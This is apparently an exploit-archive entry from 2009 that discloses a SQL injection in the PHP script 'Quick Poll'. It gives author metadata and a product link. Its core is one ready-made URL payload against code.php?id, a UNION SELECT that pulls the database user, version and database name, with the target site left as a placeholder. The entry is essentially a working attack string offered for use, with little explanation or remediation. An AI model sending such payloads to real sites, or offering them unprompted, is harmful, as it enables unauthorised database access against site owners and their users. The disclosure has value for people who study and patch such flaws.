Quick Poll - 'code.php?id' SQL Injection

Author: Hussin X
type: webapps
platform: php
port: 
date_added: 2009-12-30  
date_updated:   
verified: 1  
codes:   
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 10837.txt  

|___________________________________________________|
|
| Quick Poll (code.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|-------------------- Hussin X --------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM<http://WwW.IQ-ty.CoM>   < IQ-Security
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                   |
|
| script :http://discountedscripts.com/product_info.php?products_id=69
|
|___________________________________________________|

Exploit:
________



www.[target].com/Script/code.php?id=-85+union+select+85,85,concat_ws(char(58),user(),version(),database())+from+answers--



IQ-SecuritY FoRuM